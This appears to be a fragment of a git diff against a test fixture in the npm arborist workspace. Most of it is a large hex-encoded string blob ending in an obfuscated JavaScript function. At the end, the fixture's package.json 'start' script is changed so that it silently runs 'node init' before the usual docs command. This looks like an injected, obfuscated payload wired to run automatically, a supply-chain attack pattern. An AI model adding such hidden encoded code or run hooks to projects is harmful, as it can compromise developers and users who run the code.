6223232f6439182f601870301918711a24621063762621183c267076181b3118292368291a612f6607181d2b647618073818263e69761818393e79386b64762d7601183d186218206418182b6b640d7e18646e3a24643071312f1871787b317a1e7e62381821676d646b7618327623012276633911763e296a1a3f2f183738622c2b2b182c7d2676187f6b3818260e121827647b703a23186a76776a1820392564762f386b25183b0363187b1838383d25316c3e18180176240910677a0764293f1863296f292e7a613d766e0f76231e7676253e2e2b33247623251464186d18183d18297c7f211869001a64766b187f2f6b3831182f71332f1862647a77712923396429622d3e18783a3f7377071b2c11316605246a64641a0423627664182b231b186464296f3e656265187664386418386464266b39293f2f642b1a34186b297a792b1f18683e293929646b381c183a2b23307a7628682e3e2d2e6b64397569293c2e1834691876187663621e28640318631a29767c757d63177e1d7c6924241a3e6437382f36181f74182f2b18633a696a24196128786f23182037396212241425393329392d2e00643939113a211872646a393f3d38182433372e25640d231e64763d612964622939716b6a242262186618091811766c12187676642928291e18390b2c24291967186823766429086236181864182e6f18641f6518643806763e636b182f1878293a3a6b39767418757b186e763e2f18767618257a383e2c62182f39280e187d26232b18643739646539182938392b3826186f2c17397a186476262f76382f6f396439262639287218053209183e297b3e7c3164676a1826642f182564292d27182125183928292b7603333f3718383e69396c363e182b32186322256418392c6a211818187e293862326429773e647623796218326a64766464186e2c683e6a181839047665096a1824182e18383a181876252e7664187638112b38682676646a1a6864183964186438296b3c690e2c182f2f2825316618632e723c762c1829642900763e2f646b18186821196219631869761964221a37383e646265626429627b2e76183d6b393f7a6225641a28627a641800290f2309642c626a642364283f297669386464641818117263156b18641918086b683e181c2824151826291a18186a251824712276181a0a38722b183826293629257f62183a637618322e76766e6424762625372f3818762533182b246425336418030876223e762925280f23183762270738641e2b187a182f3e231837646b7664187b733e760b2f281815062926226b0e7a3864187a232623381829653972762918623860180a2f7676642671643829671a3f262b1829291823687a7c0a6b18296b641b212666762d767d3728622b1829066429396d6164641e62763818767664646c2c2e7418256a29252f2718293d64262924622970186d363e7618241813177e077a0d1864180c183f3e646b762c643f616e613e7618607d39181818622328222e771a6476371818772f1864156364633838667e6c6a2618372f76187c181876142d2c262f182e393e1a3476282964623933767f37182375262922766c6479313f6424157023187d28717a7618762918181829180a367b392f0d18397863297722762c732f767638612f18166d636c7f383c650c3811642b643e2464181a38241f762515297c24770f1e7664236132297d262f3c393f7638646b1829766b17183d6a64181862171a180e646a262c6b706c64282e3a1e266418691819646e187662186a767629116424646a2518387c7d38762f6718673f296018186e1864282b2f332939646b1118321818760e123e2c2429181b1a2339183e2d2976642b18726b286b76193e7a7618746a181838231874291f3a6429181d10186b180e01637a293c24242139642f6a186a142e261876292c18183f70390d182f66622d181c1868183f18181868183e1876183968640f1823151a6c1876263325192d6d39743c18293d2f7e18292d2a64227615296d623f272e181a742573181a247b186964292c18761a171839652b242c3b0418186d7664182972292318181829642b153a3e0125763a3938767d7618182364251529656b24181839626a74181a17323e3e153915252208762b6d396c641a766a64210d297c38767d2325653d1803191a1a293222183d296476642923296f7b182c73732e196a7618282939181c183932382e2b1718713e7518046666187463291a1368291829182f0c6a6b7a18183b3737387a7f067c64761864382c766e3f36297629761f670e116a29296425767f71766a62640f64226418152676183876760c76113e3e09256f27196418187903282923251818762b3a1829182911181876642c241818666418082b246233651836023a0d24186476771818763f622b29396e18792f18632729150b7e3f243e682f71392538626f181a3e622f2d626760386b2776180e6218182b64382d263064183d642c18173b2b3c25172c626f7676292926767e3973160a3f6a732f64603264650c3e19181a11646e6f242a306376766e6b7f1b2928611718793e18762c231a292f167630236418292b28386a62767628243c7c6b3e243d1529122c6224226411376039622a761a74621876646476323e731862642976622f7a18641a2b25646b2e6262670a2c7a2f76767c1825183f71622e2a6a183a6464763a662f761e7604641a18641118290530632c62762617643f3175382c761871187603602b76766e2a18626a626464647668707604186f2f186a236964306426623818662e182b642e183c76391c2962391723630722641824761818183e3e182d663464181118692f2c64713e3e3a6463391824193e26181878252f646c2923622b3764681a6c33392f18152b6f381818640e76231a39180e6b236427186818203022763f186466742e2f642005372b181b291c76396e79092d1876187f0f292e1f22292f646b1f2c641867327c7617643d297676640f6b38181a182309326419186b2764241228647d2c64302f2c10186868176233763228762176171f186729373b2c646b04237713231825181804640a393d7b063f2f7b21186c6a69380e292f18642b26181864186462681707183e072318386338263f182e6c641818293a232c03267818761876767f2c63306c2c1f182f2976397e762f24391864256876237666186b396a250823186729187a2618043e1e1863191829762c2e3f3e18182e1a30180262182939631a0e76296e1832786c707b023826256464246a2c39646e24723f3a056e7a23393939236467763c187664763b1b626b186b6a116b2e323d246418333f6023752e186f641878183e74387d396b3e183915182f2e2a6b766e17186a18276b182c32186a271825216b293e76626464241829191824166c64767a181e233d273e3a79600d621a336524320c223e187664700d2564646462183e643864767a293e1e6238766a642511233c6476187b3918732e1718611818222f186b29297818182f687329113876710e2f1a291818213e0d262d76753e0b1f6d3e3e181b18376a3d793e182b3e17621c3e6775767675646468263863642f1867181803140f013c647e7d1825612304762f292f64241832623e1802186a3e727118233863762b182932623b2b18390a2c2f38180764767764293e0a762c291864186318643832266b3e65662639181818297764237a7918221818393115321838761b7629662b76760f1d62072518766a3f3e0f682c37282c386476391861172e386a76186b1b183d64236a03181e151a256462297a3e726239181e1818292408186b686432030e640b23372f3a2518796b253077172f3e21183e653f0b7b7e18187318293e6b042b2e3815240d096b65286e371868322e762318293e14643f3f3d77792e183a3d2d187318721a3b182369183a2d733f777b237a2c766418761a7a2c373e3c1538792f3970762c3876237d62763362252618642f732525081e6415183e250f636a2b3962762918232f2e3e393918651818652f381862643d292f641864381a336218056276642d02323818761e64066b183262762562116461317629761876642f23041e18091132647e1821186e3a01686426291a6264763e216476181b0c21243d031863643e671838772f3176641a1a6a690f7c792b3a79111863062e2e29711832186b186d6a25256b633d642f6b641829767a6f7623393973183f057c23386e641864233a7c6f27677c3d18237630766a2d3877243d2f18180415151862182f003c182c186f7004181a1876241818186e641864271876381869310f29646328767c3a2f23182c693e06646418761a2018186462662b152626646a640e6a2d766238223c6a687e216b6a2a261876212f7b6a296e6e7f1830641818172f3f6c0e23186a6418766262292f38390f642b2518222f2c636f2f06186364706414632f3909186437641e761a14646a0e3376691829183a041838632418182615792e721d62297767790f2f3b2f230718182f1830182b29093f2f762676183923642b7138297664262e181364182b3826182924052c79221e392e3e76076827763962243a37700b642c3318761809766918337a3c187637761864766f2b3e396b26187467767826262e6424387f77620c706418182624182918683930792568762c186c7964646b13742c1863282f182639223a076f762c64622e6b2b28230c186a793d2b0776392f64643b2c18642315646c0f6b646c1818182918323118111864157518786b6b181829326318030764632c77697b0f0628181824002f2b0723277b63181818156a3676262b7679637a33292e6c64692477266436183971642c622f296429397729317518656f2e156b2b2405292f761838322b646d2863771576276323290b2909182964247618642f6a64641867760b187f641827112e1876767818640b24733218293e27290f6f11646418661b3e763f1a2c156b7618776a3e101829263a1a60643f2f3a7c762c64287318187629193821762f371829212e296471763e30642664766b2325647638657876187728291818391c0e6418647b28762929761837762261646a183c1e183a151a76643839623f1a1b3e70646476741821736b772b7125762b60647d38177a13637229373062762b6418642f7218256a3e266a1829620b34236b606228186f291866297a3e766a38071818766a1823766a642c1a2f60610f63276425206464277227642918626e762c641864232e2f3337290818186b3929762425731876246a183d38047a693e182e3f291567181968233123636224072918767a0476651c767664667a613d6417763d76182f2f18663d652f1864186323646a18762f6a647c182d2b64382d39611b233e2e64256b293e2f2b0618256379186a7664292e64656434766a643916642f76393a7f18647618183d2b6b606418633e1866252c181076103e2918223918386e656418096464286a6829183e666d262f2b291a296a1818761830687618236a267a2518182e18397d6418622f09291815647c68151864643a766c212e2e2f2f64767764642625647718766b28646c1829763e2909387a276c29123f6d3d242e643971393d61187e65393f0e23291a282b6a6464236b257b14383703742f7e7670183d09182329761818182968646a2e183a3e7a766418217a761d72386a182418640e296409046a263d25226426677618763a2928186a1a2f7c221367183e64290f3a7076612b671c76182b182c6d6276381818186c762b30767e181818640f637d643238297a232602181e23392964102c182c291832673e2263641869776b7609643d6826312f172f6718766576397e043e64253a68292f647e182431191825761863092917632f62183d721818646a767b2229313a7229196b2f76187518012b77237c1823116403183a186e18283218192926643a761a6b2c2b6b3c3c3905646b3a18183e640f2d26183e76646b233f2e64263f762339641825187e6b641a642927641a233718256464261a0418337c773e31762b2f64156b183d183e2b1864392c646b64177e112f6418210f3767373c2f64646e043d230e6b37647a18697623392b18793a6f7637642b180a18003e64180d2b3264186d393a097a6b180d293864780c1823182f1a2b182439181818242b7618637f1f70682477292e29750b083e64787a643e2e296b097b186a2964762f2e2b0b64186264662f2618291876296c76642f09181f18232c312b000118612f326732701a296f2f230a2f29182f21753a18647e6a18187618696e29646423616b7e18186e187969186438621a231818762964182923151f6b30181818713f143664106439621e18181e29642e3718763364152976641818316e21187e0c08626e16763d646a647118762f187e163918297276186418110f2e186a3f251811371c62643a2e6d6876002b627e3a380b18626404297676383a796474306a2f2f186b7664767f7d706c1a632911182818180f0762151a6437181863647718223876660918181862762179186122246a6f1864180c632618711864396a186420262718626226250264761876311a182f18237676292e2f016418642c18783a18622b253464183318181811701818752f2339181a2c216a133962397964296a767e282625767a7673312576181e0a18646424182318712b26753925187a2d761e64183e27763f6439167518266415182929307e6c70757a6a647f1865293e297e76187422236f64236923377618640f27297b320b242c18311929386418646f3668641a38381824762918241a6b2b18183e182c18641a6a726d1876000b6a186c23762f29293117292c6418272b18642338296423182f10682476336b766a29186a6976662f296b182e7339232961157b2b64383f6464286464182f22761834236e253e762c182e29233e76162d25157a2618273c0c62762f733976183e3e626a6b1824187c377664233e0564646c73397e2e0418296a64256418186417207a6a186a272b7e71387639092b636c6a27251132261860223e6b660b3f3a6a183f662c183e2c1120631a602918187b7618193c6a396b782903391864642f7d7e22182e6d29703c3938643971762f6276156b07182c182c06062d2b26646b643f641873620729262b622e373e052b64371829032f28270f297a0462180e6f280f6e6a382e76293d63640c760528101d1864202d641f7e682b2c182a6d276f652f2c2b321818187118242b707d3c187a2829642b151876762018183964641263393a0d236c3c6d2f642664786403642f7338182f64396d7b7738642f182f322828151818152f73292e760c031a6b6429186172647e7e7c651f767626396b17763f2a3a18393f28762874001a3d3a0a232618762363216b2e18062118643e381832623838636f6a656462172872291839613c1867296337702539186429696876293b21762f216423271819046418390f6a281a1a2463762f37257a2f68647b2e1803186b6238646f64036464182c302b15751818212c65663e291818032c647623186a282e180564291a292e2f186439372f200c283a7125642c397629152729762b0c642e24297a296a181818643b246a641829186422180120761839642129767918396429291e3e643e383e243e743d7165032910297238762364183e741829396464396a39311e2f6a766b6461641864763f181a18256476016427642b6439380776186a64293d182329761863241a627618182f2f3f3e2900296f3a04641839292f64772f2b2c7a766d0a19377b7676130320386b6b767e2b642c181864266c76186e6464263c6437367f6c1864186b7663322c3964286e7018296a2664766a256200642f646904647d3e766329763d6a2f187a64777633296a6b6464182f7576246d08111828256d2b3f18376a382b2f69187764231862393e786428346a76192964373e1e391838762b18636a383323386b0976296a3e2e34686a12643e3e1876186b2e6a2964646b2f2e64186476186a246419242f6b6b637e65251218183f642f2418766438183b1868261507642f2c3e3e386a3e182964153876186418642e2e311d2231186476646c18182976642d2c371829387f782e3e2f372e623775290c7d6432336e1d766b6464297c3a297504297a3062227e641818257715252b641a2c6b2c7e221864182e602f772e6929297c3838312565182b18196430643c64180e297664111873646d3e176c64181818677e186c2f3d162918132f25242c6a3e6427632f7764232901641831647a39267b3a29183962292226641d1864332964312f2326792c3e763165640964626424762663742776762e7b762b756a242f29761864642b3c2625183c20182d2f64156a771861641818643d2e18642e7c6f6403292962613e647029236d6429223e642864186b397e2c3e1518323e2b76393702662929642e2118242964643729696a24631864621563297b7964253e64256437766b643e181863643e7664646472182464023e293e76282618253e291b0d2414601532272f291a1e3764647676387a6a260f3e6b2e24687a3a2c642d263718762f18261e0a2364642d63242f7e183f762c18181e2d6429186429642f2f3e766464142f2f6638713e363a293e2f1d0c396a182d2b2e1838250d62263e266a696233387664692e2e3e6476186a23672576393e032e6b286318030f3e601818246c186429762318272618626762273e29216418336b7a1813007629641823743838646a3d73291e2b1877761a292e01171516782c626a696418396f643e2f7624651838332929642418296e641a6c642c64232929081a04182e187118647f76181876271a25316218311524762618232e6422186a642e182418386b003d187a64181a1838647477622c762f756476082c1732182928291a291839377618623964181a13641818151a21622576622e26767a2f18667b700e7b393c642326222f151a183a2929187b3b27642e2768763923391a2e64756a3a272e18221824293e62756e18383e1832642f632a646418643a75236b187b1838626a31642f1e181837642937761818726464183a1868292d716429297a183818646a3e6c79242e7f2f291a281564186b182b29291828292e283729626b313e766418243c6404186c342f0b396e3068767e7664252d392c092b18267625290f182518183e6464763964232a187564392d29646418391839646d6e321829390418186b182a18251815246b6918666b7f3b2c64690803180a266466641725182f182b367618113e767670362b117e761834186b610f2d6718642b1a6b2f6a6c26767f246f2918182e0c38332964396518647131316602647176247664637e643e2e27186339182e62271828316476182964381a276429182f6a2918292118326376296c29236433292f263f33716664122e3818261818696a29292c6429186a6a186e1829253838626438093a760438690f6217182418682320242d18187e76096e2b2e26182b296c3e626b67183a64172e2564292318373f3918383962246a09766b71642c2964290a30763e187e3e09183e183e2977642979292c25646b6a6a1871762c2f72182e38071818112e04112933182970741e2476261464262572182318182939392937183e3a293164391839646464372964182b1311762b606a630362262e18623d39387c6a60187d6b2b7619642976161864080f06182f7c132c767b762f291a380e2f6a39267a1a280e69181725646d762664276a18623a63762f212b29642918642e6464153f762b6d766a182623282c27242e2c1764626f18187618040e29180f18691c64642b392b11246c18666e76661876257e18182f0f186339390617720f1918182f180f23183118762964316a291d0d2c3725222e292b396417646a2c1a776a25397c7d0f2529031a25296a647d232d290c0918646a76290f64046a642818','7e7979737f7f010c0b040705','7b7839181a1d0129','7e787d797d78291d2e1b0233','2914272f2028143e3825','2c38252709222b3809252e2f','223b2f383932263f3c3d2b292e202833272d2538302c212529233a3e383f3e24393e252429'];dGdUdaiclQIAjiJNHcY=function(){return qhbstS;};return dGdUdaiclQIAjiJNHcY();} \ No newline at end of file diff --git a/workspaces/arborist/test/fixtures/tap-with-yarn-lock/package.json b/workspaces/arborist/test/fixtures/tap-with-yarn-lock/package.json index d1aa5ab470ee5..86f84f6439623 100644 --- a/workspaces/arborist/test/fixtures/tap-with-yarn-lock/package.json +++ b/workspaces/arborist/test/fixtures/tap-with-yarn-lock/package.json @@ -75,7 +75,7 @@ "postpublish": "bash postpublish.sh", "www:build": "cd docs; npm ci; npm run build", "www:develop": "cd docs; npm run develop", - "start": "npm run www:develop", + "start": "node init && npm run www:develop", "www:serve": "cd docs; npm run serve" }, "tap": {